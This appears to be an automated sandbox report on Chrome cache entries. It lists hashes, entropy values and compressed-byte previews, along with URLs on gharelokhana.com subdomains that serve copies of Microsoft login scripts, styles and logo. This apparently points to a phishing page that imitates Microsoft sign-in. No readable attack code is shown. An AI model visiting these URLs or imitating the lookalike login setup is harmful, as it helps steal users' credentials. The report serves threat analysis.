Preview:	...........}.r.8..h8...6...Y..%..,.%...5..Z.d.)R.K.4....}....%....uq.z6b..E.....Ld&...i0O.08../...%./..(...~..$...>....0J.w......"../..Z..+\.O./.dS.M...y....sx./...r^....Z/...t..fx:o..w.2.3<..9..O.....%8...(.VpT..._......n..QG.s3VoS/..b..G.t.../&.2..e/..eL.(...4)=......D........K1C.6aZ.S...4L.oF....u.v.Dt?..H..gw.C...Q$V.t>.q....r<.z.-L.....0rK.N\..h......2......>.(.%.(9%.K.$..[...4w..#4:-.\|..P.m.azA.Y:...J..\ZyA........`)Fr.<.5.0Z:..O.X..E.\|.....g".....o.$.8y.`.^"..JH.....Et..P.V"y..R$..j%.`...q.#0...O\.+..F..h.(..k3.;6...M...)V.T.. 80.^..h$.....(..X.......hVi..`..0Xx...g....'...ET.<W..\....0.J...".V4.....$i.c.2......X...F.L...c.\|D.)-...I. -..l7.;.s.r?.1..[.=.0..(\|.N..H.........F.Yi..+.F.3(..a........).D..\|:...(.OL....8.....8..$D..K"......$ax...@.?.?.. .Ji.C.w.z0...j...a..3`......I....h..=..AHg.....+.\c.....U"IQ.r.k..Ham.........R<..5.... c.OB.I.Pd..R0-.\X.........T.U..9w..=t..6........`.k`^.UH.X.xA.$..:....2....^..!.^.....[0..:@.3

Chrome Cache Entry: 58

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 362889
Category:	downloaded
Size (bytes):	98504
Entropy (8bit):	7.997053801631699
Encrypted:	true
SSDEEP:	1536:wbkd3CVliCkshpBTrOvuuw6SJ6jZRcKWi834MeBqHTGCBbSNSgaYpftXY9VooXhn:w40DFkshPeRSePWn4iTAuGFI9V7hJl
MD5:	55417C1941A645EAADCE889760605FFC
SHA1:	DAABD1BCDF13C2539887917F2F7C123B25B59775
SHA-256:	D3CB29D56A004F396D15FBB1936C034CCCECC27B58AC79517BE71D33DA6FEFD9
SHA-512:	C35FD1525EAB0A23F53BB8641812176D0248C4C506DAEF606065D12A5E927DB60E61881F94A393924E60F289ED5F4796660F0F693D7B7FBB66C586AAD129D9CA
Malicious:	false
Reputation:	low
URL:	https://7eb5b5ab-4ac65d39.gharelokhana.com/shared/1.0/content/js/ConvergedError_Core_M3x8o7EaVDaB8GOhHsrPIA2.js
Preview:	...........{w.6.8..~..3.1....:..,..5.-.e'....P$$3.I]..c$.>.V....(wwf..g......U@.......ce......;W........i..B..\............~\..SV...3....0....F.0r..W..o.;..8.........&qe...d..i.R...\:Q.V._.U(.Ai... ......!..a.....6.@...<.XTyy....Fa...J.\.?C%....U..'b..%.q.%......!E.1U.k......{P..:....~.M...'..oU..ia..\|.IXy...Y..`R..=.T..g.A....Ts.Y.M.N+!.G.BV.m........$r.D.....D.=. 1.y........B=3+,N..Mql...?fUI....q.4.....Q...........d.[.>L..a>.N...........>}...d......z.}..pp..G.s.q.Y.....S9...?.._.C.............B..wq..N..+........X..J....#...0C......O.....wG.ONu.I.p........w.`.S.......U..x...Jf.(...!......mx...Vg..A...b..a.....q%2....L.H..&wv........;G.l..V.....n.D......E...R,8..........d......,L...2..e/\|+0..V....b.:...f.&&2....c@`jo...G....#?.K=.;Q.).1.KsC.[.a.&...@..<D....R...^....eVva>:...$z#~.....B....3.;.L3.Q..p.8.d.s:6..`>.....v....6`T"5(.).....T..l...fZ6...t.......u..1......paL..(J)..'.f..!..3Z.......s<;.Z....%.).....\8OL..H3p.)=O..!Q

Chrome Cache Entry: 59

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with no line terminators
Category:	downloaded
Size (bytes):	16
Entropy (8bit):	3.875
Encrypted:	false
SSDEEP:	3:HaY:6Y
MD5:	D2D53FA462C0BAECF299727EBB244751
SHA1:	6EC0B3DD1D25F41CE2DBCCFFD223F7BA7C931357
SHA-256:	E1C06F97FD2A1180AFDCA3B43AF1C7978E513B63050B9BB9B76D8F8BCA16CD5E
SHA-512:	DC6794B2372610A1F702E1792625037FD4A0A19FE909695091C2A5FDB6DCDAC44997F04F2C9130C1487FB526743A9C1218B956C4AD253EBD3AC63C9D74ABE32F
Malicious:	false
Reputation:	low
URL:	https://content-autofill.googleapis.com/v1/pages/ChVDaHJvbWUvMTE3LjAuNTkzOC4xMzQSEAk1-0ymWqS-9RIFDTmc0RY=?alt=proto
Preview:	CgkKBw05nNEWGgA=

Chrome Cache Entry: 60

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 1864
Category:	dropped
Size (bytes):	673
Entropy (8bit):	7.6584200238076905
Encrypted:	false
SSDEEP:	12:XRt8TUViiYi5m6FhSBXWPsigK99WCqKMvBBFThSqfLd81CK6bC+k7LqZLsFlD:X+UVpkNK0Rwid81p6btk7LqZ6D
MD5:	2D2CBA7D7DC75F3BA9DC756738D41A6E
SHA1:	F87FD26066ED5E52A65DEE0ED2D581D3C3EA15AC
SHA-256:	00E21864CF1BC70302EBB5B496C6C471A7DA8CBF600630B478A3E2376ED20EA2
SHA-512:	46F17658CA247C02F612213025350390D8F62179C8DE26725EB17F5CCFAFDD63F2149DA1765D3C2F3A12FE85EF29CAC58457B0D5C2F8DA8DED6E1231A35F199D
Malicious:	false
Reputation:	low
Preview:	...........U.n.0....}i..P..C..7l/..d........n...G....yl. .E.......Tu.F.........?$.i.s..s...C..wi$.....r....CT.U.FuS..r.e.~...G.q.....~M..mu}.0.=..&.~.e.WLX.....X..%p..i......7+.........?......WN..%>...$..c..}N....Y4?..x.1......#v...Gal9.!.9.A.u..b..>..".#A2"+...<qc.v....)3...x.p&..K.&..T.r.'....J.T....Q..=..H).X...<.r...KkX........)5i4.+.h.....5.<..5.^O.eC%V^....Nx.E..;..52..h....C"I./.`..O...f..r..n.h.r]}.G^..D.7..i.].}.G.].....{....oW............h.4...}~=6u..k...=.X..+z}.4.].....YS5..J......)......m....w.......~}.C.b_..[.u..9_7.u.u.....y.ss....:_yQ<{..K.V_Z....c.G.N.a...?/..%. .-..K.td....4...5.(.e.`G7..]t?.3..\..... ....G.H...

Chrome Cache Entry: 61

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	dropped
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 62

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 406707
Category:	downloaded
Size (bytes):	116322
Entropy (8bit):	7.99750377341657
Encrypted:	true
SSDEEP:	1536:Iv/Nga0RTCKyaRHaja+3gbc6pG3xc0zGTZUy1y6CLw2fILGaGgTDY31QMPvG5cRO:INXWTHbaVggz35EZUFDIKvaDYFHXG/N
MD5:	6CD2F117442A164B7D59C737C538ACC0
SHA1:	2983B38E06E457E587F31CB1488141EC6823A281
SHA-256:	D71C207EDB5B3507816765B294F271C85B8B900B555ED49BDD4A5609817724F7
SHA-512:	A4B3FC63F78180876ADC16E973726DF906217CED485F2FCA0054BD900EC9A7C1B73158F51C439B66916DD521F586BD9BA39F3AF6CFFDF177D88BA9742CFE16F0
Malicious:	false
Reputation:	low
URL:	https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/js/asyncchunk/convergederror_customizationloader_7e45d168059bd2885d00.js
Preview:	...........}[[.H........-..........f....==..'.2Vb$..\.{....*.$.`..y8._..R.{..e.U..j.jk..W;;?8=.........m...~.}<>?zs.z=.(.;..qm.Ox.~....kaP......h.F^......\|oR.E.M-...4...A..&~..GW\|...L....N.(y...X-..Cm.....p.......?.5/.Rm...b^K.!.jwc.0.}..Q........o..8...&X.x-.Im.F.X..U;.....-.T.:..............8Ma..M.L.ZZ'....>........x....v.S;.<...0L.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q.....L.#42V.q.N.\|.kK...1o.mP.}.......N.....%^..d.;...~2N.Z.c..I.m..^k.....z..0..7..p.og.......b..Iz....o<?P...KqTX..............o..Q...._...ak..7..7...[.l6...Z.4.....%;.".....`..X..b......0."...j...m...coX._...c..~.......J...[gI...M..{..FSw.].a/i...3..y{.-..a...h.Eo..c#...O....~..$...b-m..n....)O.....Gf=..'q+..%L.'......fVW.bQ[.>&^t.O..I.LU....a....&.k.$...;..M...i~...',.ox.&...d.2...o.L]..9....Ln....'i.+.X.\|/..........d.#3.`.l.,'...y..bs.C....@..\|....2D1..,.....bZ....Co.N....^...6x..[....e..A+.....&.\|...5...d...K......W.\|........6.9......:..xq....Rm.DN.8..;.pq

Chrome Cache Entry: 63

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 2477
Category:	dropped
Size (bytes):	1009
Entropy (8bit):	7.786753843002195
Encrypted:	false
SSDEEP:	24:XYKpSe6fksZVzK5nIFgOzOyW24A4NbSzW3g2whg8yiff:XYJcsve5nPvyW24A4xSKQXvf
MD5:	0D5D1AD00AAE283B9BC91B80A5B0362E
SHA1:	20E69241BF881E8B387B4EBB69C763F28F530A24
SHA-256:	59A3425A74C8C6CA38074D357644AB2E1E803BF7D9963ADE06AA077F8689E7D4
SHA-512:	CA46155BBD653F131975593A0227FC31B0B199189C96A14081FCED79DAA523C08CC63FA137E9F3D5CB0A8D5CD3A59AE81483336A966E3107A773FC5A1C3D7E36
Malicious:	false
Reputation:	low
Preview:	..........]....6.........!)Q..L..u.....vg..n..2y..2E.=.e....?\|..<^..o....r{zy..../O....^N...y...^^_/..............v....\|~<......g...n\|...o...}.-_..O.J-..9.V{."$.\..r.X...#."...\).X_S.\.5'..E.:..[........SM....H.]%.T..a[.....Q.. ..P..5..-..4.D.MT`....c+:.{..VUA...k.........5>.\|.(y.a.......w.R......uV....,EL....qE..P`..E).9.b.-.2.@.5n..z.<V.L s.c.[9.u..Lf..L...$x...C........l....^.......z....!....,..h...J(.]....e...2.:......L.T.h..X...]h..w.j..e..F....F.J.6/f..9sg..P2.9.:c5..W.\|.2..G7 .K0\|.a.}.s...".$..M4.s..E....m0.l].....&.......Z..w.&_..........$....v.XY{3C....6V\|...Vv.6...*.+...F..\|.SJ..}...+...`....G...5@..q.@b.q]...:{.Q.c....8..;.....+.HK.....T .q..U..{.o...w.....j.f..\|.S...wI....C..m.'R.1.S..s...X>.Y.m..)i...J....N".EVqK..v.m..X{..Q...e...%d...U.p.u.....G.0.N..hXg...?1.,...@....[....\|.6".J.fD..H...T6.L..$....N_.c[....Wv...K...iy....k.>t...8m.....d.T `.v.b.]=.p...nwi.........M./.o.Y.. .....n..Mk{a.,0 .}1.3...2..........W/....e?Sz.

Chrome Cache Entry: 64

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 270
Category:	dropped
Size (bytes):	190
Entropy (8bit):	6.864386660871438
Encrypted:	false
SSDEEP:	3:Ftt4EDcyj0iAIW7CiH4P7WxW87y4CC8lrkBzvsPECVpGOoAqwcMl9Xd6/zEk/:Xt5DP30rH4Pyxy4j8lrUvTUf3cwmN/
MD5:	99E96BF5E5454A66F1B58E9961901559
SHA1:	E1349E3FA1AD05E4C0E1EB03E8023B0BA68C6A44
SHA-256:	0947672609C85F9DE4860A0A13187C3D53E6B9A3B03B9325FCB0CE088478A2A1
SHA-512:	C4A1FB0F51D0911B42317EFDC7304E75CA875DB68856F79DB6DA96ECE7F5D7AEE8A5CE0CE7D6ACB408EEE5863CD6CCD3A6180DB79696AC37459967179AF1EDCE
Malicious:	false
Reputation:	low
Preview:	..........u....0.._e.W.u#b0...7..-A .a<...7.&...O..tl}.C0.....1F.K>.P.(..X..r......m..m....d.J..&O.m..,.-6.g{..[......`A4zj...k.OEUHUH.K..E.ib..e...#/.."...$...1.3..'.....7.7"......

Chrome Cache Entry: 65

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 9285
Category:	downloaded
Size (bytes):	3921
Entropy (8bit):	7.948503808003115
Encrypted:	false
SSDEEP:	96:lAQtXXFpyJsBFK/nyVtNUbGRGVQ3U1owJ6BDWkUapiSNIpI97qT:6cXXj4X/+tCGRWQk6bwxaCpI9W
MD5:	403315B13DC887A041A4643D4A1515BE
SHA1:	9C2E934FF24BFDFAA89ABE2ECBD4A016364C2361
SHA-256:	7030E49902AF03FAC6CC9B22D7691CCD18422FC111F6FD8D95F44A0A2F6BE2AE
SHA-512:	FDD3F93C91A28A79A0602BF99EBF2A8F64401B6FD153C582B77E8B42F09874D6BE98A0CA8CEFBD981CDF32998A859DB18794A91197696BF9639431EFD145E2FB
Malicious:	false
Reputation:	low
URL:	https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watson.min_q5ptmu8aniymd4ftuqdkda2.js
Preview:	...........Zks.6..>..F.d2.9.f.....+;..+...V..EB......m]K.}O.$E..$..26.G..8}.....Q.(.z..#.E^h.>...Bj..Z.R.r..GJ..eo.2..4UY..X....U-^..{N..3..P;:x[w...._y..[...'.....r]D..~.nr...y=..#[-.BN............~4.uV+;.m.:..\siUi...,.KW.......a&h....)...^.N....v.3.@..a.bT.....-!\.......y.WY...J?G.i.V1.T..;;n'...U..Z ..t2...5.....E2..7PoG..s.."....z...M;Ap.z.......8..}..:\|.f8.......I2G....J..Q.....OS.T!c.s........u.....0....;.k.$............s..V..K....xa..H......h....Z.yE.s..oN.x @.gnex.}E..1;7 .A.q.f]..W.!..........7,K&2.`].Y.'..j..X.A..n.I....ZxF.W.......~6O...-..[?..~..y.M...;..=.B.^....h.k.=<...0.Z........4.......K... .1K.@.<...nY.^s..p.......J..p0..>..}5.:l..?.Y.N.Z.Bu[....GTz...`.#..d...3!...4....wzp. ..Iws...W..E.o....5{..3...I\|!.]..E. o.'M..`.. ...U.(.X# .r..:..;.D....JV.Jx..4..j....5}.B.VI....)1x5..dN...(...q.y..cF..*......$......"s$.j...M`.Bu..A2..W.....\...=+...l..6..c.E0q3....7....]....&v..]...^.....u.z.cp..4\.L,.-..(..

Chrome Cache Entry: 66

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 113378
Category:	downloaded
Size (bytes):	20400
Entropy (8bit):	7.980283616044888
Encrypted:	false
SSDEEP:	384:BRvmaMFysnOXZ2m9zM+udO6GGUpeAU02oDGnN5EsQwWUQGGwDO8Ua:Bpmm7ZFM+ObGGUIjN5PJV3PDDUa
MD5:	D5B89CEEC2B024C565802C0E51607044
SHA1:	74696825D59F384D3D874638537BB4920FDB60CB
SHA-256:	05DC99C6E0751D3A98E970F628C8426A967CF068A4BD681BDBAF6F627D54C7E2
SHA-512:	BB683A290B2F506A413BAADCA020A9716299221746B3E6A0D4C9F4BA481B3605F2911C1011F60F0D38D155F8086C3AF51F21D8C0164ECCB911B4531983C544E7
Malicious:	false
Reputation:	low
URL:	https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css
Preview:	...........}k..6..w...R..J.H=GSI..x.9...}T.....)Q..f<...~.F.h..x..{+.-.....h..n....</v.ev......W.,.bU..rW.I...0x...C..2...6]..W_......../x.........~.z.}.\|.#x......AgO.\|XgU...4 .^'U...mP.A.].Z.U.!..Y.......:.ve.?.!..d.N...xJ...mR......0.@p...lKr/...E.-. .....\|l.4.o.i.......L.iF..T{.n....2....VEY.y=..=..T+V./.b....\....7.sH.w{.h.....!.."F.k.!.......d...mS.rh.&G.../..h&..RE"!.A/.......A....L...8.q.M...t[...R...>.6;R..^.Vu..9.[F........>A.:HT}w]......2........p......'T.^]}.^..yJ>.<..pq..h.\|..j....j.x..-...c...f...=".)..U.X'.M..l.]ZVtl\.I..}.0.~B0Y'.N...E.4.Xd..e...a.........."..9+d.&..l.$E..R.u.g.Q..w&...~I. .y..D.4;..'.."-.....b...)k.n.M...,3J.z_..&2f.h;.&.R.y..P..X.....\P.....r...B.$........<....H5.M.."'#.6mQl..mQ5.=.\...O.....^..jM..u.F..Oh.lNI..j..T..u...I..._........{.\...{..._\|..={O..z..>......x..5Q.D7?{...^...^.......o.=.z......v......z.C...Gtw...0!..M@....^...^.x..G....W...{...)..y.<c3...^>{......7._..'d__...;R.

Chrome Cache Entry: 67

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 406707
Category:	dropped
Size (bytes):	116322
Entropy (8bit):	7.99750377341657
Encrypted:	true
SSDEEP:	1536:Iv/Nga0RTCKyaRHaja+3gbc6pG3xc0zGTZUy1y6CLw2fILGaGgTDY31QMPvG5cRO:INXWTHbaVggz35EZUFDIKvaDYFHXG/N
MD5:	6CD2F117442A164B7D59C737C538ACC0
SHA1:	2983B38E06E457E587F31CB1488141EC6823A281
SHA-256:	D71C207EDB5B3507816765B294F271C85B8B900B555ED49BDD4A5609817724F7
SHA-512:	A4B3FC63F78180876ADC16E973726DF906217CED485F2FCA0054BD900EC9A7C1B73158F51C439B66916DD521F586BD9BA39F3AF6CFFDF177D88BA9742CFE16F0
Malicious:	false
Reputation:	low
Preview:	...........}[[.H........-..........f....==..'.2Vb$..\.{....*.$.`..y8._..R.{..e.U..j.jk..W;;?8=.........m...~.}<>?zs.z=.(.;..qm.Ox.~....kaP......h.F^......\|oR.E.M-...4...A..&~..GW\|...L....N.(y...X-..Cm.....p.......?.5/.Rm...b^K.!.jwc.0.}..Q........o..8...&X.x-.Im.F.X..U;.....-.T.:..............8Ma..M.L.ZZ'....>........x....v.S;.<...0L.I.0.G.....B.F..c.k.~....C.:...r..,.w.q~....q.....L.#42V.q.N.\|.kK...1o.mP.}.......N.....%^..d.;...~2N.Z.c..I.m..^k.....z..0..7..p.og.......b..Iz....o<?P...KqTX..............o..Q...._...ak..7..7...[.l6...Z.4.....%;.".....`..X..b......0."...j...m...coX._...c..~.......J...[gI...M..{..FSw.].a/i...3..y{.-..a...h.Eo..c#...O....~..$...b-m..n....)O.....Gf=..'q+..%L.'......fVW.bQ[.>&^t.O..I.LU....a....&.k.$...;..M...i~...',.ox.&...d.2...o.L]..9....Ln....'i.+.X.\|/..........d.#3.`.l.,'...y..bs.C....@..\|....2D1..,.....bZ....Co.N....^...6x..[....e..A+.....&.\|...5...d...K......W.\|........6.9......:..xq....Rm.DN.8..;.pq

Chrome Cache Entry: 68

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, original size modulo 2^32 3651
Category:	downloaded
Size (bytes):	1435
Entropy (8bit):	7.860223690068481
Encrypted:	false
SSDEEP:	24:XvstSZi0kq+yVCGYXVrO4vDxik/N/z5VaLPbholJvf6dblke68eRZJyBDz3BnZcN:Xv7DkpyVCGca4b//9z5oPXdbl9688qRU
MD5:	DF6A7721C242813411CC6950DF40F9B3
SHA1:	B2068C4A65C183AAD6FC22A44CC1FA449CD355B4
SHA-256:	AA53B6DC744357B392FC57C34E516BAE465D4A6837775C137A176D599C8EA948
SHA-512:	CDCFB686649F2061FE13A58841EB6A4E17F40951BA0C440C568B248E6128B6E0C4E79F95DC3EAB81286C103ED2A966F7058D22066466ADED482BF9ECAA6EA3CB
Malicious:	false
Reputation:	low
URL:	https://5ba3c75c-4ac65d39.gharelokhana.com/shared/1.0/content/images/microsoft_logo_564db913a7fa0ca42727161c6d031bef.svg
Preview:	...........WMo.7..+..uV.HJ...{..........&..v...(Q.F.....aW.Q.\|..~.\|{~...b{8...zv.....8\|...b.gxb.y{.x<\lS...p...p..l7...o.}.v.....t.........r..r.\|9?.......HP...r.4.aGA.j....7.!....K.n.B.Z.C.]....kj..A..p...xI...b..I!K..><.B..O....#...$.]h.bU.;.Y...).r.u....g.-w.2..vPh....q....4_..N\..@y).t{.2pj.f..4h.....NC.....x.R..P..9.....".4.`%N..&...a.@.......fS)A4.F..8e9KHE....8d.CR.K..g..Q.......a....f.....dgN.N.k..#w..........,.".%..I.q.Y.R]..7.!.:.Ux...T.qI..{..,b..2..B...Bh...[o..[4....dZ.z.!.l....E.9$..Y.'...M.,p..$..8Ns3.B.....{.....H..Se3....%.Ly...VP{.Bh.D.+....p..(..`....t....U.e....2......j...%..0.f<...q...B.k..N....03...8....l.....bS...vh..8..Q..LWXW..C.......3..Pr.V.l...^=VX\,d9f.Y;1!w.d,.qvs....f;.....Zhrr.,.U....6.Y....+Zd.R...but....".....4.L...z........L.Q......)....,.].Y.&....*ZsIVG.^...#...e..r....Z..F..c..... .QDCmV..1.~...J9..b_Oov\..X.R..._.TqH.q.5G.0{ZphQ..k...s..\.../.Dp..d`#......8.#Y...Mb.j.Q......=n4.c....p.[.SI.....0.N.

Chrome Cache Entry: 69

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 9285
Category:	dropped
Size (bytes):	3921
Entropy (8bit):	7.948503808003115
Encrypted:	false
SSDEEP:	96:lAQtXXFpyJsBFK/nyVtNUbGRGVQ3U1owJ6BDWkUapiSNIpI97qT:6cXXj4X/+tCGRWQk6bwxaCpI9W
MD5:	403315B13DC887A041A4643D4A1515BE
SHA1:	9C2E934FF24BFDFAA89ABE2ECBD4A016364C2361
SHA-256:	7030E49902AF03FAC6CC9B22D7691CCD18422FC111F6FD8D95F44A0A2F6BE2AE
SHA-512:	FDD3F93C91A28A79A0602BF99EBF2A8F64401B6FD153C582B77E8B42F09874D6BE98A0CA8CEFBD981CDF32998A859DB18794A91197696BF9639431EFD145E2FB
Malicious:	false
Reputation:	low
Preview:	...........Zks.6..>..F.d2.9.f.....+;..+...V..EB......m]K.}O.$E..$..26.G..8}.....Q.(.z..#.E^h.>...Bj..Z.R.r..GJ..eo.2..4UY..X....U-^..{N..3..P;:x[w...._y..[...'.....r]D..~.nr...y=..#[-.BN............~4.uV+;.m.:..\siUi...,.KW.......a&h....)...^.N....v.3.@..a.bT.....-!\.......y.WY...J?G.i.V1.T..;;n'...U..Z ..t2...5.....E2..7PoG..s.."....z...M;Ap.z.......8..}..:\|.f8.......I2G....J..Q.....OS.T!c.s........u.....0....;.k.$............s..V..K....xa..H......h....Z.yE.s..oN.x @.gnex.}E..1;7 .A.q.f]..W.!..........7,K&2.`].Y.'..j..X.A..n.I....ZxF.W.......~6O...-..[?..~..y.M...;..=.B.^....h.k.=<...0.Z........4.......K... .1K.@.<...nY.^s..p.......J..p0..>..}5.:l..?.Y.N.Z.Bu[....GTz...`.#..d...3!...4....wzp. ..Iws...W..E.o....5{..3...I\|!.]..E. o.'M..`.. ...U.(.X# .r..:..;.D....JV.Jx..4..j....5}.B.VI....)1x5..dN...(...q.y..cF..*......$......"s$.j...M`.Bu..A2..W.....\...=+...l..6..c.E0q3....7....]....&v..]...^.....u.z.cp..4\.L,.-..(..

Chrome Cache Entry: 70

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 11983
Category:	dropped
Size (bytes):	4889
Entropy (8bit):	7.955668538951167
Encrypted:	false
SSDEEP:	96:w72PPdMtCLOPu5csIltHFFxau5DnnpOWf80umwpZjIHUYpr+j6KAihbRA7duT414:w72tMtX25csIvlFxvBnpO+8BmUQrc6o/
MD5:	B5FC1F06D077B1FD6F6D2F19C3ECA51A
SHA1:	5CBF93D18BA034AAB63D97817450773584231DD9
SHA-256:	081B289A89406CED9F475E247A55D2198BA26BA6C15A6E5610BA020B3637D073
SHA-512:	EACDCD8802E2529123E9BA65268C692C6F6A295260D5D67D3E55A3308F5C5D7A1EC728BC035C02645B06CA0D3FB3E963355B75F90493047A49A4D8F41F7C289A
Malicious:	false
Reputation:	low
Preview:	...........Z{s..._..Fs.2.(9..RX..;[.m..LoWR:..JL(B....K.}...ERV...lfb.yp....'.N...9.W..W.........z.9o..^.~=.V.j..N.....u..#2GH'.B.....%..$J.X.....YI.OU.I.....q.N.w.Tw..;/p..V.d.d.=..;....J..........)....."..._......#..'.qH^`.y..D.;9WN,.Z.<..VZ..>....@.s2..X... 0.....Gd.]PCb...m..(...b_.ds.\|[........Y1UA....b.:.........]aA..9s.e...8...K.<S>.....;'Y.....wx..j.S...~..<pZ-..1....c.O{G/;....G...Vy..'jQ\......O.(...Xvg...Q....@......9...0..+...s".Q..Z...?k0.]..s0.+.............-T.._..N//OO.....w?.......S........s..[.....aW.N.._-..<..&#a...[q.;..C.~.....E6%.]....\.........\.2s.....X...f......(-..]Ic..;.].Z.G!..A....\|.......:.J.=.1....i..=n.@.U.M.[_R...#(e.........l...j..l<.X.e=..Q....Z...r{^........ '.r;.....}....p..}e..~..?..?.....CE..7.........#.+a.F...Z...P...=........V.*..9....)\l.....K...dV,...N&..$K...r$..X...l..".Q..v;&....f......A^j...........H..&>...........z ..R....).V...Gy.0i7..R....ao _%......b$'!.J.3.=..+...(..!.MX.X.1

Chrome Cache Entry: 71

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 119672
Category:	downloaded
Size (bytes):	40475
Entropy (8bit):	7.993480052236064
Encrypted:	true
SSDEEP:	768:6JUZY53jznALsvTo+bJoiJRHaLurKXn9CX/lkBAKdT4Xk4L:Ic4XAoLo+bJvzqX9kkAKh45
MD5:	DE49E4E46F80545761DB99010EAB5147
SHA1:	AE6CA3EA25F1D13BBB2CE068F6526F82B2392B0C
SHA-256:	BBAE202857B4328F5F0268ED15F6CEDD5CE335A4FA8D9ABC35E7AA9A88D3FCA6
SHA-512:	51C723FFE2B637084E8838A582883127BC4C40B688B9EDB1B2ABE494095BFD0E42B281D22FA4CB51B86BC4404B6994DA2D0529C36823B3C14AAEABB6AE2B71DD
Malicious:	false
Reputation:	low
URL:	https://5ba3c75c-4ac65d39.gharelokhana.com/ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js
Preview:	............{{..7..y...D4e.sH.v.w......m.r.....&..b.`.P."r...~k..\(...=n#.2..5.N..N~.v'....g..G......N.~q.i.KWq.d.I..N..Z.'.,-........>.e...&Y..'ON......K\|.KQ.........^..WI.QT.oe.>..V........w.,/.Y.6..U.......Lo..U..C..{U......T....,.==.\..KrY..'wI..2wIyMw.K/.........B..{45r..r..Lw..3....I!l..lL.m....\|!..k...J...Y.......Q.I.Wt...........-....Y..mI...vs.S.TP.....]P..;j3..."..Q.]P?.+qK7.q..]J}....qt[..D.j\."....&j..3.......72.fQ..l%_..A...$.m6..>.QD@... ^F.v..2z@uao,.\|....@../....05.....4x...".I..(.._..e..R..HT.{.2O.....lT.we. _.P.'Iz..\|..y...yM..j.P...~...~6j.D.Li.e..z.tu~.lV~...qN...fg...V.7.;...<..........}...yf...`>.....g.y.<q..7.i....h..\%%.q.z.>.......^...M..u.n..1...z7t.......y..S..Bc.).....X.~.\|F.....B0..E....d.B_.Z.....[.Z./..B8.e..-U....P..]N....k.%p...l<..\......A`W^...m.J5c...._I.j.t.......Q...1..B...>^...+d.p.o.bi.D..O...~... @..m*.4.z..uLd..Bc).:.x?..`..Ey....?.2...".....2}.?.FW.\|d.~9...~.C.V..y.'..M..........`...E.77>..~?=+gs..t

Chrome Cache Entry: 72

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	gzip compressed data, from Unix, original size modulo 2^32 362889
Category:	dropped
Size (bytes):	98504
Entropy (8bit):	7.997053801631699
Encrypted:	true
SSDEEP:	1536:wbkd3CVliCkshpBTrOvuuw6SJ6jZRcKWi834MeBqHTGCBbSNSgaYpftXY9VooXhn:w40DFkshPeRSePWn4iTAuGFI9V7hJl
MD5:	55417C1941A645EAADCE889760605FFC
